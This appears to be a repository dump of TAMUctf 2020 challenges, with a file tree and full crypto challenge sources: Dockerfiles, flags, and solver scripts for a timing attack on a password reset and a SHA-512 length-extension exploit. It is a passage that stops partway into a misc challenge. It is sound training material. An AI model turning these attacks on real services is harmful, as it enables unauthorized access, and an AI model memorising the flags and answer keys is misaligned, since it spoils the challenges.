├── .gitignore ├── Crypto ├── .gitkeep ├── 652AHS │ ├── Dockerfile │ ├── README.md │ ├── flag.txt │ ├── password_hash.txt │ ├── questions.txt │ ├── security_hashes.txt │ ├── server.py │ ├── solver.py │ ├── solver.rs │ └── start.sh ├── EternalGame │ ├── Dockerfile │ ├── README.md │ ├── flag.txt │ ├── game.py │ ├── key.txt │ ├── solver.py │ ├── solver.sh │ └── start.sh ├── Sigma │ ├── README.md │ ├── encrypt.py │ ├── encrypted_flag.txt │ ├── flag.txt │ └── solution.py ├── Uncrackable │ ├── README.md │ ├── encrypt.py │ ├── flag.txt │ └── solve.rs └── leaning-tower.txt ├── Misc ├── .gitkeepƒ ├── RSAPWN │ ├── Dockerfile │ ├── README.md │ ├── flag.txt │ ├── server.py │ ├── solver.py │ └── start.sh ├── alCapone │ ├── README.md │ └── flag_alCapone.txt ├── blind │ ├── Dockerfile │ ├── README.md │ ├── exec.sh │ ├── flag.txt │ └── start.sh ├── corrupted_disk │ ├── README.md │ ├── build.sh │ ├── document.docx │ ├── dummy.pdf │ ├── reveille.jpg │ ├── snake.png │ └── yQw6zFn.jpg ├── geography │ └── README.md ├── instagram │ ├── README.md │ ├── photo.png │ └── solution │ │ └── photo.jpg ├── not-so-great-escape │ ├── Dockerfile │ ├── README.md │ ├── flag.txt │ ├── not-so-great-escape.sh │ └── solution.bin ├── russiannestingdoll │ ├── README.md │ ├── flag.txt │ └── netlogs.pcap ├── woofwoof │ ├── README.md │ ├── reveille.jpg │ └── scripts │ │ ├── bark_flag.txt │ │ ├── decoder.py │ │ ├── encoder.py │ │ ├── flag.txt │ │ ├── morse_flag.txt │ │ └── secret.txt └── zippity_doo_dah │ ├── README.md │ ├── random150.png │ └── zipFile.py ├── NetworkPentest ├── .gitkeep ├── helpful-builder │ ├── Dockerfile │ ├── README.md │ ├── config.yml │ ├── docker-compose.yml │ ├── flag.txt │ ├── helpful-builder │ │ ├── .gitignore │ │ ├── build.gradle │ │ ├── gradle │ │ │ └── wrapper │ │ │ │ ├── gradle-wrapper.jar │ │ │ │ └── gradle-wrapper.properties │ │ ├── gradlew │ │ ├── gradlew.bat │ │ ├── lombok.config │ │ ├── settings.gradle │ │ └── src │ │ │ └── test │ │ │ └── java │ │ │ └── com │ │ │ └── tamuctf │ │ │ └── helpfulbuilder │ │ │ └── AddTest.java │ ├── run.sh │ └── solution │ │ ├── .gitignore │ │ ├── build.sh │ │ ├── main │ │ ├── java │ │ │ ├── com │ │ │ │ └── tamuctf │ │ │ │ │ └── helpfulbuilder │ │ │ │ │ └── Add.java │ │ │ └── exploit │ │ │ │ └── ExploitProcessor.java │ │ └── resources │ │ │ └── META-INF │ │ │ └── services │ │ │ └── javax.annotation.processing.Processor │ │ └── run.sh ├── listen │ ├── README.md │ ├── actor │ │ ├── Dockerfile │ │ ├── actor.py │ │ └── script.txt │ ├── config.yml │ └── docker-compose.yml ├── my-first-blog │ ├── Dockerfile │ ├── README.md │ ├── config.yml │ ├── docker-compose.yml │ ├── flag.txt │ ├── healthcheck.sh │ ├── start.sh │ └── website_source │ │ ├── archetypes │ │ └── default.md │ │ ├── config.toml │ │ ├── content │ │ └── post │ │ │ └── first.md │ │ ├── static │ │ └── images │ │ │ └── avatar.jpg │ │ └── themes │ │ └── easybook │ │ ├── .gitignore │ │ ├── LICENSE │ │ ├── README.md │ │ ├── README_ZH.md │ │ ├── archetypes │ │ └── default.md │ │ ├── exampleSite │ │ ├── config.toml │ │ ├── content │ │ │ ├── about.md │ │ │ └── post │ │ │ │ ├── chinese-preview.md │ │ │ │ ├── english-preview.md │ │ │ │ └── syntax-highlighting.md │ │ └── static │ │ │ └── images │ │ │ └── avatar.jpg │ │ ├── images │ │ ├── screenshot.png │ │ └── tn.png │ │ ├── layouts │ │ ├── 404.html │ │ ├── _default │ │ │ ├── baseof.html │ │ │ ├── list.html │ │ │ └── single.html │ │ ├── index.html │ │ ├── partials │ │ │ ├── comments.html │ │ │ ├── footer.html │ │ │ ├── head.html │ │ │ ├── header.html │ │ │ ├── prevnext.html │ │ │ ├── script.html │ │ │ └── sidebar.html │ │ ├── post │ │ │ └── single.html │ │ └── shortcodes │ │ │ └── music.html │ │ ├── static │ │ ├── css │ │ │ └── main.css │ │ ├── images │ │ │ └── lazy.gif │ │ └── js │ │ │ ├── easybook.js │ │ │ ├── figure.js │ │ │ └── lazysizes.min.js │ │ └── theme.toml ├── obituary │ ├── Dockerfile │ ├── README.md │ ├── flag1.txt │ ├── flag2.txt │ ├── headless_handler.sh │ ├── note_to_self.txt │ ├── server.sh │ └── solution │ │ ├── pt1 │ │ └── payload.txt │ │ └── pt2 │ │ ├── build.sh │ │ └── preinst ├── password-mismanagers.txt └── spell-icups │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── config.yml │ ├── docker-compose.yml │ ├── exploit.c │ ├── exploit.py │ └── flag.txt ├── Pwn ├── .gitkeep ├── b64decoder │ ├── Dockerfile │ ├── README.md │ ├── b64decoder │ ├── b64decoder.c │ ├── flag.txt │ ├── libc.so.6 │ ├── solver.py │ └── start.sh ├── bbpwn │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── bbpwn │ ├── bbpwn.c │ ├── entry.sh │ └── flag.txt ├── calculataser │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── client │ │ └── client.py │ ├── flag.txt │ └── server │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ └── main.rs ├── echoasaservice │ ├── Dockerfile │ ├── README.md │ ├── echoasaservice │ ├── echoasaservice.c │ ├── flag.txt │ ├── solver.py │ └── start.sh ├── getting-confused │ ├── .gitignore │ ├── Dockerfile │ ├── Dockerfile.build │ ├── README.md │ ├── build.sh │ ├── flag.txt │ └── getting-confused.c ├── grpc_toctou │ ├── README.md │ ├── client │ │ ├── Makefile │ │ ├── client.py │ │ ├── protobuf.proto │ │ ├── protobuf_pb2.py │ │ └── protobuf_pb2_grpc.py │ ├── server │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── entry.sh │ │ ├── flag.txt │ │ ├── grpc_server.cc │ │ ├── protobuf.proto │ │ ├── server.cpp │ │ ├── server.h │ │ └── server.o │ └── solution │ │ ├── protobuf_pb2.py │ │ ├── protobuf_pb2_grpc.py │ │ └── solution.py ├── gunzipasaservice │ ├── Dockerfile │ ├── Dockerfile.build │ ├── build.sh │ ├── flag.txt │ ├── gunzipasaservice.c │ ├── readme.md │ └── solver.py ├── lejit │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── flag.txt │ └── lejit │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── LICENSE │ │ └── src │ │ └── main.rs └── troll │ ├── Dockerfile │ ├── README.md │ ├── ans.txt │ ├── flag.txt │ ├── solver.py │ ├── start.sh │ ├── troll.c │ └── zeroseed.c ├── README.md ├── Reversing ├── .gitkeep ├── about_time │ ├── .gitignore │ ├── Dockerfile │ ├── Dockerfile.build │ ├── Makefile │ ├── README.md │ ├── about_time.c │ ├── build.sh │ ├── entry.sh │ ├── flag.txt │ ├── images │ │ ├── FUN_00100e60.PNG │ │ ├── encryption.PNG │ │ ├── flag_file.PNG │ │ ├── fun1.PNG │ │ ├── fun2.PNG │ │ ├── fun3.PNG │ │ └── libc_start_main.png │ └── solution.py ├── angrmanagement │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── angrmanagement.c │ ├── constraintgen.py │ ├── flag.txt │ ├── solver.py │ └── start.sh ├── just-bc │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── README.md │ ├── build.sh │ ├── flag.txt │ ├── password.txt │ └── src │ │ └── main.rs ├── rusty-at-reversing │ ├── .gitignore │ ├── Cargo.toml │ ├── Dockerfile.builder │ ├── README.md │ ├── assets │ │ ├── decrypt.png │ │ ├── decrypt_call.png │ │ ├── functions.png │ │ └── retyping.png │ ├── build.sh │ ├── docker_build.sh │ ├── link_solution.c │ ├── solution.c │ └── src │ │ └── lib.rs ├── splatter-calc │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── README.md │ ├── assets │ │ ├── _start.png │ │ ├── destruct_pointer.png │ │ ├── final_if.png │ │ ├── flag.txt.png │ │ ├── function_array.png │ │ ├── line_parsing.png │ │ ├── lock_slice.png │ │ ├── locked_iter.png │ │ ├── main.png │ │ ├── namespacing_splatter_calc.png │ │ ├── pattern.png │ │ ├── ppabVar1_indexing.png │ │ ├── refarray.png │ │ ├── stdin_lock.png │ │ ├── stdin_namespace.png │ │ └── vtable.png │ ├── flag.txt │ ├── src │ │ └── main.rs │ └── start.sh └── vault │ ├── Dockerfile.build │ ├── README.md │ ├── build.sh │ ├── obfuscate.py │ └── vault.c ├── Secure_Coding └── .gitkeep └── Web ├── .gitkeep ├── credits ├── Dockerfile ├── README.md ├── entry.sh ├── inventory │ ├── flag.txt │ ├── haiku.txt │ ├── hifive.txt │ └── story.txt ├── models │ └── user.js ├── pg_hba.conf ├── server.js └── views │ ├── homepage.pug │ ├── inventory.pug │ ├── login.pug │ ├── signup.pug │ └── store.pug ├── filestorage ├── Dockerfile ├── README.md ├── files │ ├── beemovie.txt │ ├── hello.txt │ └── pi.txt ├── flag.txt ├── httpd.conf ├── index.php ├── solver.py └── start.sh ├── mentalmath ├── .dockerignore ├── Dockerfile ├── README.md ├── db.sqlite3 ├── docker-compose.yml ├── flag.txt ├── manage.py ├── mathgame │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── migrations │ │ └── __init__.py │ ├── models.py │ ├── templates │ │ └── mathgame │ │ │ ├── base.html │ │ │ ├── index.html │ │ │ └── play.html │ ├── tests.py │ ├── urls.py │ └── views.py ├── mentalmath │ ├── __init__.py │ ├── settings.py │ ├── urls.py │ └── wsgi.py └── requirements.txt ├── more_credits ├── Dockerfile ├── README.md ├── bob │ ├── Dockerfile │ └── bob_script.py ├── entry.sh ├── inventory │ ├── cat.txt │ ├── flag.txt │ ├── haiku.txt │ └── helicopter.txt ├── models │ └── user.js ├── pg_hba.conf ├── server.js └── views │ ├── gift.pug │ ├── homepage.pug │ ├── inventory.pug │ ├── login.pug │ ├── signup.pug │ └── store.pug ├── passwordextraction ├── Dockerfile ├── README.md ├── index.html ├── login.php ├── solution.py └── start.sh └── too-many-credits ├── Dockerfile ├── README.md ├── flag2.txt └── too-many-credits ├── .gitignore ├── build.gradle ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src └── main ├── java └── com │ └── credits │ └── credits │ └── credits │ ├── CreditsApplication.java │ ├── controller │ └── CreditsController.java │ └── model │ └── CreditCount.java └── resources ├── application.properties └── templates └── index.html /.gitignore: -------------------------------------------------------------------------------- 1 | .venv/ 2 | __pycache__/ 3 | -------------------------------------------------------------------------------- /Crypto/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Crypto/.gitkeep -------------------------------------------------------------------------------- /Crypto/652AHS/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk --no-cache add socat python3 4 | 5 | RUN addgroup ctf 6 | 7 | RUN mkdir /crypto 8 | 9 | RUN adduser --disabled-password -G ctf --home=/crypto cryptouser 10 | 11 | COPY server.py /crypto/server.py 12 | COPY flag.txt /crypto/flag.txt 13 | COPY start.sh /crypto/start.sh 14 | COPY questions.txt /crypto/questions.txt 15 | COPY security_hashes.txt /crypto/security_hashes.txt 16 | COPY password_hash.txt /crypto/password_hash.txt 17 | COPY flag.txt /crypto/flag.txt 18 | 19 | RUN chown -R cryptouser /crypto 20 | RUN chmod -R 777 /crypto 21 | 22 | EXPOSE 7393 23 | 24 | ENTRYPOINT ["/crypto/start.sh"] 25 | -------------------------------------------------------------------------------- /Crypto/652AHS/README.md: -------------------------------------------------------------------------------- 1 | # 652AHS 2 | 3 | ```text 4 | Adam the admin spent awhile writing a really nifty Python server to do admin things. He protected it with state of the art cryptography. 5 | 6 | nc 7393 7 | 8 | ``` 9 | 10 | ## Setup 11 | 12 | 1. `docker build -t 652ahs .` 13 | 2. `docker run --rm -p 7393:7393 -d 652ahs` 14 | 15 | ## Brief Dev Description 16 | 17 | A Python server running over socat which has password reset feature to be exploited. The flag is printed after one successfully logs in with a password that has been updated. 18 | 19 | ## Solution 20 | 21 | See `solver.py`. It's a rather simple timing based attack, since correct answers take longer to get a response than incorrect answers. 22 | 23 | -------------------------------------------------------------------------------- /Crypto/652AHS/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{t1ck_t0cK_toCk_t111ck_tiCK_tockk} 2 | -------------------------------------------------------------------------------- /Crypto/652AHS/password_hash.txt: -------------------------------------------------------------------------------- 1 | 089542505d659cecbb988bb5ccff5bccf85be2dfa8c221359079aee2531298bb 2 | -------------------------------------------------------------------------------- /Crypto/652AHS/questions.txt: -------------------------------------------------------------------------------- 1 | Does pineapple belong on pizza? 2 | Do you read for fun? 3 | Are you scared of the dark? 4 | Do you like tea? 5 | Is Coke better than Pepsi? 6 | Are parrots more fun than chimpanzees? 7 | Is December your favorite month? 8 | Have you ever seen the rain? 9 | Would you rather fight one hundred duck-sized horses than one horse-sized duck? 10 | Is it ever okay to lie? 11 | Have you ever been in an earthquake? 12 | Do you sleep on your side? 13 | Have you traveled outside of the country? 14 | Is Star Wars better than Star Trek? 15 | Are long nights better than early mornings? 16 | Do you prefer your water with ice? 17 | Is happiness a choice? 18 | Are a few close friends better than many average friends? 19 | Do you have kids? 20 | Is it better to be bold or welcoming? 21 | -------------------------------------------------------------------------------- /Crypto/652AHS/security_hashes.txt: -------------------------------------------------------------------------------- 1 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 2 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 3 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 4 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 5 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 6 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 7 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 8 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 9 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 10 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 11 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 12 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 13 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 14 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 15 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 16 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 17 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 18 | 1ea442a134b2a184bd5d40104401f2a37fbc09ccf3f4bc9da161c6099be3691d 19 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 20 | 85a39ab345d672ff8ca9b9c6876f3adcacf45ee7c1e2dbd2408fd338bd55e07e 21 | -------------------------------------------------------------------------------- /Crypto/652AHS/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | 4 | ans = [] 5 | r = remote('172.17.0.2', 7393) 6 | while len(ans) < 20: 7 | print(ans) 8 | # try yes 9 | print('Trying yes...') 10 | r.recvuntil("Exit\n") 11 | r.sendline('2') 12 | r.recvuntil('.\n') 13 | 14 | for i in range(len(ans)): 15 | r.recvline() 16 | r.sendline(ans[i]) 17 | 18 | r.recvline() 19 | syes = time.time() 20 | r.sendline("Yes") 21 | resp = r.recvline() 22 | tyes = time.time() - syes 23 | 24 | for i in range(len(ans)+2, 21): 25 | if i != len(ans)+2: 26 | r.recvline() 27 | r.sendline("No") 28 | 29 | if resp.startswith(bytes("New", 'ascii')): 30 | ans.append("Yes") 31 | break 32 | 33 | r.close() 34 | time.sleep(.05) 35 | 36 | # try no 37 | print('Trying no...') 38 | r = remote('172.17.0.2', 7393) 39 | r.recvuntil("Exit\n") 40 | r.sendline('2') 41 | r.recvuntil('.\n') 42 | 43 | for i in range(len(ans)): 44 | r.recvline() 45 | r.sendline(ans[i]) 46 | 47 | r.recvline() 48 | sno = time.time() 49 | r.sendline("No") 50 | resp = r.recvline() 51 | tno = time.time() - sno 52 | 53 | for i in range(len(ans)+2, 21): 54 | if i != len(ans)+2: 55 | r.recvline() 56 | r.sendline("No") 57 | 58 | if resp.startswith(bytes("New", 'ascii')): 59 | ans.append("No") 60 | break 61 | 62 | r.close() 63 | time.sleep(.05) 64 | 65 | r = remote('172.17.0.2', 7393) 66 | if tyes > tno: 67 | ans.append("Yes") 68 | else: 69 | ans.append("No") 70 | 71 | 72 | r.interactive() 73 | 74 | -------------------------------------------------------------------------------- /Crypto/652AHS/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:7393,reuseaddr,fork EXEC:\"python3 /crypto/server.py\",stderr" - cryptouser; 6 | done 7 | -------------------------------------------------------------------------------- /Crypto/EternalGame/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk --no-cache add socat python 4 | 5 | RUN addgroup ctf 6 | 7 | RUN mkdir /crypto 8 | 9 | RUN adduser -G ctf --home=/crypto --disabled-password cryptouser 10 | 11 | COPY game.py /crypto/game.py 12 | COPY flag.txt /crypto/flag.txt 13 | COPY start.sh /crypto/start.sh 14 | COPY key.txt /crypto/key.txt 15 | 16 | RUN chown -R cryptouser /crypto 17 | 18 | EXPOSE 8812 19 | 20 | ENTRYPOINT ["/crypto/start.sh"] 21 | -------------------------------------------------------------------------------- /Crypto/EternalGame/README.md: -------------------------------------------------------------------------------- 1 | # EternalGame 2 | 3 | ## Description 4 | 5 | ```text 6 | No one has ever won my game except me! 7 | 8 | nc 8812 9 | ``` 10 | 11 | ## Documentation 12 | 13 | `game.py` runs over socat, and competitors are provided with the source. It's a simple game in which players multiply a number 14 | by any number between 2 and 10 (but each can only be used up to five times). The goal is to get to some huge number which is 15 | impossible with the restrictions given. There must be another way. 16 | 17 | ### Setup 18 | 19 | 1. `docker build -t eternalgame .` 20 | 2. `docker run -p 8812:8812 -d eternalgame` 21 | 22 | ## Solution 23 | 24 | The idea is well-described [here](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks). 25 | 26 | It boils down to the fact that we are using SHA-512 in a way it was not designed to be used (HMAC would be the appropriate 27 | thing to use here). The solution is to extend a hash given to you by the game by adding the padding and then a bunch of 0x39 28 | ('9' characters) to beat the high score. 29 | -------------------------------------------------------------------------------- /Crypto/EternalGame/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{a11_uR_h4sH_rR_be10nG_to_m3Ee3} 2 | -------------------------------------------------------------------------------- /Crypto/EternalGame/key.txt: -------------------------------------------------------------------------------- 1 | AndiAu13Nv 2 | -------------------------------------------------------------------------------- /Crypto/EternalGame/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | 4 | ans = [] 5 | r = remote('172.17.0.2', 8812) 6 | r.sendline('2') 7 | r.sendline('1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X999999999999999999999999999999999999999999999999999999999999999999999999999999999999') 8 | r.sendline('7d90e5f31de6e26873c6cdf274c37f0193d48bcc21820410d60d9c8c02996d005e26021c9db41c8890fc51c29758c3d5e9f8b477c449e9afbbe12bcfdcd7a49f') 9 | r.interactive() 10 | -------------------------------------------------------------------------------- /Crypto/EternalGame/solver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if ! command -v hashpump | grep -q "hashpump"; then 4 | echo -e "You need hashpump to do this" 5 | exit 1 6 | fi 7 | 8 | echo -e "Getting base hash..." 9 | 10 | high_score=653086069891774904466108141306028536722619133804 11 | base_hash=$((echo 1; echo 3; echo 3) | socat - tcp:172.17.0.2:8812 | tail -n 4 | head -n 1) 12 | key_size=0 13 | 14 | echo -e "Discovered base hash of $base_hash" 15 | echo -e "Bruting for key size..." 16 | 17 | for i in {1..50}; do 18 | if (echo "2"; printf '%b\n' "$(hashpump -s ${base_hash} -d 1 -a 1 -k ${i})" | tac; echo "3") | socat - tcp:172.17.0.2:8812 | tail -n 4 | head -n 1 | grep -q "better"; then 19 | echo -e "Discovered key size of $i, continuing..." 20 | key_size=$i 21 | break 22 | fi 23 | done 24 | 25 | echo -e "Beginning brute to overcome the size..." 26 | 27 | for i in {1..100}; do 28 | out=$((echo "2"; printf '%b\n' "$(hashpump -s ${base_hash} -d 1 -a $(python3 -c 'print('${high_score}'+'${i}')') -k ${key_size})" | tac; echo "3") | socat - tcp:172.17.0.2:8812) 29 | if echo "$out" | grep -q "gigem"; then 30 | echo "$out" | grep "gigem" 31 | break 32 | fi 33 | done 34 | -------------------------------------------------------------------------------- /Crypto/EternalGame/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while : 4 | do 5 | su -c "exec socat -d tcp-listen:8812,reuseaddr,fork exec:\"python /crypto/game.py\",stderr" - cryptouser; 6 | done 7 | -------------------------------------------------------------------------------- /Crypto/Sigma/README.md: -------------------------------------------------------------------------------- 1 | # Sigma 2 | 3 | ## Description 4 | 5 | 10320831141252164475480592397410881183128414021520157116851780189419421991209921942315241625302578269728072902300131153236334834643575368637343782389340044129 6 | 7 | ## Documentation 8 | 9 | A simple adhoc crypto challenge. The "encryption" method is simply to take prefix sums of the ascii values 10 | of the flag string and concatenate their prefix sums together. 11 | 12 | ### Setup 13 | 1. Put desired flag in flag.txt. 14 | 2. Run `python encrypt.py > encrypted_flag.txt`, which outputs the encrypted flag to the file. 15 | 3. This encrypted flag is all that is needed for the challenge. 16 | 17 | ## Solution 18 | 19 | One could pretty easily solve this by hand after noticing that the first three digits are the ascii value of 'g', the first 20 | character of the flag. From there, subtracting by hand the next substring which has a decimal value greater than the previous 21 | is sufficient. The script `solution.py` automates this. 22 | -------------------------------------------------------------------------------- /Crypto/Sigma/encrypt.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Just outputs prefix sums of ascii. 3 | ''' 4 | 5 | with open('flag.txt', 'r') as flag_file: 6 | flag = flag_file.read().rstrip('\r\n') 7 | flag = [ord(c) for c in flag] 8 | pref = 0 9 | for i in flag: 10 | pref += i 11 | print(pref, end='') 12 | -------------------------------------------------------------------------------- /Crypto/Sigma/encrypted_flag.txt: -------------------------------------------------------------------------------- 1 | 10320831141252164475480592397410881183128414021520157116851780189419421991209921942315241625302578269728072902300131153236334834643575368637343782389340044129 -------------------------------------------------------------------------------- /Crypto/Sigma/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{n3v3r_evv3r_r01l_yer0wn_cryptoo00oo} 2 | -------------------------------------------------------------------------------- /Crypto/Sigma/solution.py: -------------------------------------------------------------------------------- 1 | s = input() 2 | 3 | s = s[3:] 4 | flag = 'g' 5 | pref = ord('g') 6 | 7 | cur = '' 8 | for c in s: 9 | if len(cur) == 0 or int(cur) < pref: 10 | cur += c 11 | else: 12 | flag += chr(int(cur)-pref) 13 | pref = int(cur) 14 | cur = c 15 | 16 | if len(cur) > 0 and int(cur) > pref: 17 | flag += chr(int(cur)-pref) 18 | 19 | print(flag) 20 | -------------------------------------------------------------------------------- /Crypto/Uncrackable/README.md: -------------------------------------------------------------------------------- 1 | # Uncrackable 2 | 3 | ## Description 4 | 5 | e3f8e5110e29e6fde31a0861f0a4dd13530db5ffdd17113be6c2dd1c022f 6 | 7 | ## Documentation 8 | 9 | Simple XOR cipher (key length is 6). 10 | 11 | ### Setup 12 | 13 | Just put the description above (this is all that is needed for the challenge). 14 | 15 | ## Solution 16 | 17 | Just guess that the first 6 will be gigem{ and you'll get a XOR key of length 6 that works. 18 | 19 | An example of this is in `solve.rs`: 20 | ``` 21 | rustc solve.rs 22 | for i in $(echo "e3f8e5110e29e6fde31a0861f0a4dd13530db5ffdd17113be6c2dd1c022f" | fold -w2 | paste -sd' ' -); do printf "\x$i"; done | ./solve 23 | ``` 24 | -------------------------------------------------------------------------------- /Crypto/Uncrackable/encrypt.py: -------------------------------------------------------------------------------- 1 | ans = '' 2 | secret = 0x849182746352 3 | 4 | with open('flag.txt', 'r') as flag_file: 5 | flag = flag_file.read().rstrip('\r\n').encode('utf-8') 6 | t = len(flag) 7 | flag = flag.hex() 8 | for i in range(t//6): 9 | print(hex(secret^int(flag[12*i:12*i+12], 16))[2:], end='') 10 | print() 11 | 12 | -------------------------------------------------------------------------------- /Crypto/Uncrackable/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{1m_n3w_t0_cRypTo_okaYyY} 2 | -------------------------------------------------------------------------------- /Crypto/Uncrackable/solve.rs: -------------------------------------------------------------------------------- 1 | use std::io::Read; 2 | use std::error::Error; 3 | 4 | fn main() -> Result<(), Box> { 5 | let mut key = vec!['g' as u8, 'i' as u8, 'g' as u8, 'e' as u8, 'm' as u8, '{' as u8]; 6 | let mut index = 0; 7 | for byte in std::io::stdin().lock().bytes() { 8 | key[index] = key[index] ^ byte?; 9 | index += 1; 10 | if index == key.len() { 11 | break; 12 | } 13 | } 14 | index = 0; 15 | print!("gigem{{"); 16 | for byte in std::io::stdin().lock().bytes() { 17 | print!("{}", (key[index] ^ byte?) as char); 18 | index = (index + 1) % key.len(); 19 | } 20 | println!(); 21 | Ok(()) 22 | } 23 | -------------------------------------------------------------------------------- /Crypto/leaning-tower.txt: -------------------------------------------------------------------------------- 1 | This challenge was written by TwoSix, who we are currently working on 2 | getting permission from before publishing. Thank you for your understanding! 3 | -------------------------------------------------------------------------------- /Misc/.gitkeepƒ: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Misc/.gitkeepƒ -------------------------------------------------------------------------------- /Misc/RSAPWN/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk --no-cache add socat python3 4 | RUN addgroup ctf 5 | RUN mkdir /misc 6 | RUN adduser -G ctf --home=/misc --disabled-password ctfuser 7 | 8 | COPY server.py /misc/server.py 9 | COPY flag.txt /misc/flag.txt 10 | COPY start.sh /misc/start.sh 11 | 12 | RUN chown -R ctfuser /misc 13 | 14 | EXPOSE 8573 15 | 16 | ENTRYPOINT ["/misc/start.sh"] 17 | -------------------------------------------------------------------------------- /Misc/RSAPWN/README.md: -------------------------------------------------------------------------------- 1 | # RSAPWN 2 | 3 | ## Description 4 | 5 | ```text 6 | We must train the next generation of hackers. 7 | nc 8573 8 | ``` 9 | 10 | ## Documentation 11 | 12 | 13 | ### Setup 14 | 15 | 1. `docker build -t rsapwn .` 16 | 2. `docker run -p 8573:8573 -d rsapwn` 17 | 18 | ## Solution 19 | 20 | Just have to write a script to factor in O(\sqrt{n}). 21 | -------------------------------------------------------------------------------- /Misc/RSAPWN/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{g00d_job_yOu_h4aaxx0rrR} 2 | -------------------------------------------------------------------------------- /Misc/RSAPWN/server.py: -------------------------------------------------------------------------------- 1 | import time 2 | import random 3 | 4 | primes = [9998279, 9998281, 9998309, 9998321, 9998323, 9998333, 9998377, 9998381, 9998393, 9998413, 9998423, 9998441, 9998447, 9998459, 9998479, 9998539, 9998543, 9998557, 9998561, 9998581, 9998587, 9998603, 9998623, 9998633, 9998641, 9998689, 9998699, 9998701, 9998719, 9998741, 9998743, 9998749, 9998753, 9998777, 9998797, 9998801, 9998809, 9998851, 9998861, 9998867, 9998887, 9998893, 9998903, 9998929, 9998969, 9998971, 9998977, 9999047, 9999049, 9999053, 9999071, 9999083, 9999161, 9999163, 9999167, 9999193, 9999217, 9999221, 9999233, 9999271, 9999277, 9999289, 9999299, 9999317, 9999337, 9999347, 9999397, 9999401, 9999419, 9999433, 9999463, 9999469, 9999481, 9999511, 9999533, 9999593, 9999601, 9999637, 9999653, 9999659, 9999667, 9999677, 9999713, 9999739, 9999749, 9999761, 9999823, 9999863, 9999877, 9999883, 9999889, 9999901, 9999907, 9999929, 9999931, 9999937, 9999943, 9999971, 9999973, 9999991] 5 | 6 | def go(): 7 | print('We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (<= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.', flush=True) 8 | print() 9 | print('Press enter 